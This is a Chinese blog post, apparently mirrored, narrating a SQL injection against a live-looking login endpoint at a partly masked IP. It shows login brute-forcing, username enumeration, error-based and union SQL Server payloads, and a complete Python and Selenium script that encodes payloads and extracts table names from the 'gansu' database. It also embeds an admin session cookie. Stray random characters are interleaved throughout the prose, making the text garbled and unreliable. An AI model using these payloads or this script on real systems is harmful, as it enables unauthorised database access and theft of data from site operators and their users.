簡書markdown引用遠(yuǎn)程圖片功能真挫厦章。隘马。票彪。
原文鏈接:http://wyb0.com/posts/2018/recording-an-sqlserver-sql-injection-of-error-based/
0x00 驗(yàn)證碼前端驗(yàn)證
需要測試一個(gè)網(wǎng)站揭朝,剛開始看到網(wǎng)站時(shí)感覺希望不大,因?yàn)轵?yàn)證碼是需要拖動的欣除,這也就意味著很大可能沒辦法爆破住拭,另一方面是都用這種驗(yàn)證碼了,安全做的能很差勁嗎历帚?果然滔岳,試了admin、123456之類的都不行
那就抓個(gè)包吧
emmmmmm挽牢。 32位谱煤,md5加密?這里看著沒有驗(yàn)證碼之類的信息禽拔,把這個(gè)包發(fā)了幾次發(fā)現(xiàn)沒有出現(xiàn)驗(yàn)證碼信息刘离,而且試了試室叉,發(fā)現(xiàn)有兩種狀態(tài)(運(yùn)氣比較好,有admin這個(gè)用戶硫惕,我也是試的這個(gè)用戶茧痕,一下子就看出返回不同了),如下:
用戶不存在時(shí)返回
{"iserror":true,"message":"用戶名不存在恼除!","data":null,"errorfieldlist":null}
用戶名存在時(shí)返回
{"iserror":true,"message":"密碼不正確踪旷!","data":null,"errorfieldlist":null}
可以的,驗(yàn)證碼前端驗(yàn)證豁辉,我覺得可以burp抓包intruder一下
跑了top 500的用戶名和top 1000的密碼令野,除了直接試的用戶名admin,其他的一個(gè)都沒有跑出來 sad
0x01 存在注入
嗯看來爆破是基本沒有希望了徽级,測其他的吧气破,嗯,這里是登陸灰追,那肯定要看注入的堵幽,無腦加單引號,boom弹澎!
可以的朴下,and 1=1 有注入
哎?苦蒿?E闺省!佩迟!那不對啊团滥,咋的后臺還解密md5后進(jìn)行查詢?报强?
剛才看了數(shù)據(jù)包灸姊,用戶名密碼都是32位,猜想sql語句是:select password from user where username=name_md5_hash
秉溉,然后判斷用戶存不存在之類的
看返回信息的話顯然不是啊力惯,哪有后臺解密md5后查詢的。召嘶。父晶。。弄跌。甲喝。
試試post其他用戶名和密碼,然后看數(shù)據(jù)包
顯然并不是md5铛只。埠胖。糠溜。。 這個(gè)是前端加密后發(fā)送的押袍。诵冒。凯肋。谊惭。∥甓看一下js圈盔,結(jié)果發(fā)現(xiàn)了這個(gè)
emmmmm,想了想悄雅,應(yīng)該可以注入的驱敲,看看啥系統(tǒng)
大概率SQL Server了(因?yàn)榍皫滋煸趖00ls剛看到了一個(gè)ASP.NET+MySQL,比較任性)宽闲,所以這里看一下众眨,發(fā)現(xiàn)確實(shí)是SQL Server
看看數(shù)據(jù)庫版本,嗯容诬,看來還是報(bào)錯(cuò)注入
可以可以娩梨,看看有幾列,然后進(jìn)行union注入
一列览徒,這里也能大致猜出來sql語句了狈定,估計(jì)就是:select password from user where username='admin'
那就看看數(shù)據(jù)庫吧,不知道SQL Server中的concat怎么用习蓬,一個(gè)個(gè)來吧纽什。。躲叼。芦缰。
得到第一個(gè)數(shù)據(jù)庫的名字:union select name from master.dbo.sysdatabases where dbid=1
得到第二個(gè)數(shù)據(jù)庫的名字:union select name from master.dbo.sysdatabases where dbid=2
得到第5個(gè)數(shù)據(jù)庫的名字:union select name from master.dbo.sysdatabases where dbid=5
好麻煩啊,拖一下驗(yàn)證碼枫慷,然后得到一個(gè)數(shù)據(jù)庫让蕾,而且后面還有表呢。流礁。涕俗。。神帅。
py一下了吧再姑,前端有js進(jìn)行加密,可以本地寫文件生成加密后的payload找御,然后python拿到payload后進(jìn)行注入
0x02 嘗試寫php得到加密后的payload
把加密的那個(gè)js文件SkyEnCode.js保存到本地元镀,然后寫php文件绍填,php的話接收一個(gè)未加密的payload然后返回一個(gè)加密后的payload,大致代碼:
<!DOCTYPE html>
<head>
<script src=jquery.min.js></script>
<script src=SkyEnCode.js></script>
<title>test</title>
</head>
<body>
<?php
$name = $_GET['name'];
echo "<script>
var name = '".$name."';
document.write('>>>'+SkyEnCode.EscKeyCode(name) +'<<<');
</script>";
?>
</body>
</html>
看了下栖疑,返回的結(jié)果是一樣的讨永,可以用(實(shí)際上并不能。遇革。卿闹。)
0x03 通過python獲取js加密后的payload
本來是寫python獲取加密后的payload來著
def encode_payload(payload):
html = requests.get("http://127.0.0.1/tmp.php?name={}".format(payload)).text
m = re.findall(r'>>>(.*?)<<<', html)
return m
但是獲取到的是:[u"'+SkyEnCode.EscKeyCode(name)+'"]
,因?yàn)閖s沒有執(zhí)行加載萝快,所以得到的是js未執(zhí)行時(shí)的頁面源碼
記得以前看過一個(gè)東西锻霎,selenium,可以調(diào)用瀏覽器驅(qū)動模擬瀏覽器點(diǎn)擊啥的揪漩,記得可以執(zhí)行js旋恼,想到就做
首先安裝selenium:sudo pip install selenium --user -U
然后在http://chromedriver.storage.googleapis.com/index.html下載Chrome的驅(qū)動,然后放到/opt下
[21:07 reber@wyb in ~]
? ls /opt/chromedriver
/opt/chromedriver
[21:07 reber@wyb in ~]
? /opt/chromedriver --version
ChromeDriver 70.0.3538.97 (d035916fe243477005bc95fe2a5778b8f20b6ae1)
獲取加密后payload的代碼重寫如下(此時(shí)已經(jīng)不需要頁面接收參數(shù)了奄容,頁面能引入js我們調(diào)用執(zhí)行就行):
python運(yùn)行后得到的userName和網(wǎng)頁上的一樣
0x04 得到數(shù)據(jù)庫的表名
數(shù)據(jù)庫名的話可以通過union注入改變dbid即可得到冰更,比較簡單,表名的話這里寫代碼獲取第5個(gè)數(shù)據(jù)庫gansu的表名
不再繼續(xù)深入
0x05 詳細(xì)代碼
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# code by reber <1070018473@qq.com>
import re
import time
import requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
url = "http://117.156.***.***/newcc/Common/AccessToken.do"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Cookie": "currentuser_JSON=eyJpZCI6MSwiZGVsc3RhdHVzIjowLCJkZXB0aWQiOjEsInVuaXRpZCI6MSwiY2hpbmFuYW1lIjoi566h55CG5ZGYIiwibG9naW5uYW1lIjoiYWRtaW4iLCJiaXJ0aCI6bnVsbCwic2V4IjoxLCJwYXNzd29yZCI6ImthdkRhVzRoanMzK3dIeC90czhvdSsxVEYzQT0iLCJtYWlsIjoiYWRtaW5Ac2t5dGVjaC5jb20iLCJpZGNhcmQiOm51bGwsIm1vYmlsZSI6bnVsbCwicGhvbmVkZXB0IjoiMDI1ODg4ODg4ODgiLCJwaG9uZWhvbWUiOiIwMjU4ODg4ODg4OCIsInBlcm1zdHJpbmciOiI3MSw2Niw4OSw0NywxMDcsMTMxLDU4LDc4LDI0NSw5Miw0MSw1NCw1NiwxLDcsMjcsMjgsNjksMzkiLCJwZXJzb25yb2xlcyI6IjgiLCJzb3J0aW5kZXgiOjAsImlzaGFzY2FyZHR5cGUiOjAsImFkZGVyIjoxLCJhZGR0aW1lIjoiMjAwNi8wMi8yMCAxMzoyOToyNiIsIm1vZGVyIjoxLCJtb2R0aW1lIjoiMjAxNy8wOC8xOSAwOToxMDo0MCJ9",
}
def encode_payload(payload):
chrome_options = Options()
chrome_options.add_argument('--headless') #無頭模式昂勒,不打開瀏覽器界面
chrome = webdriver.Chrome(executable_path=r"/opt/chromedriver",chrome_options=chrome_options)
try:
chrome.get("http://127.0.0.1/tmp.php")
# chrome.maximize_window() #不設(shè)置無頭模式時(shí)最大化窗口
# time.sleep(20) #等待請求完頁面
# print chrome.page_source #輸出頁面的html
js = "var en_payload = SkyEnCode.EscKeyCode(\"{}\");return en_payload;".format(payload)
en_payload = chrome.execute_script(js) #調(diào)用頁面中加載的js代碼中的加密函數(shù)
return en_payload
except Exception as e:
print str(e)
finally:
chrome.close()
def get_tables(database):
payload1 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U')>1--".format(database)
payload2 = "admin' and (select top 1 '~~'+name+'~~' from {}.dbo.sysobjects where xtype='U' and name not in ({}))>1 --"
#先得到第一張表名
en_payload = encode_payload(payload1)
data = {"userName": en_payload,"userPwd": "823d9ed14f2b86bb15234e4893c3ec54"}
html = requests.post(url=url,data=data,headers=headers).content
c_table = re.search(r'~~(.*?)~~', html).group(1)
#通過for循環(huán)得到其他的表名
tables = list()
for x in xrange(5):
tables.append("'"+c_table+"'")
fm = ",".join(str(table) for table in tables)
_payload = payload2.format(database,fm)
print _payload
data = {"userName": encode_payload(_payload),"userPwd": "9ad64932f8832810867a5b9e956206ca"}
html = requests.post(url=url,data=data,headers=headers).content
print html
c_table = re.search(r'~~(.*?)~~', html).group(1)
print tables
get_tables('gansu')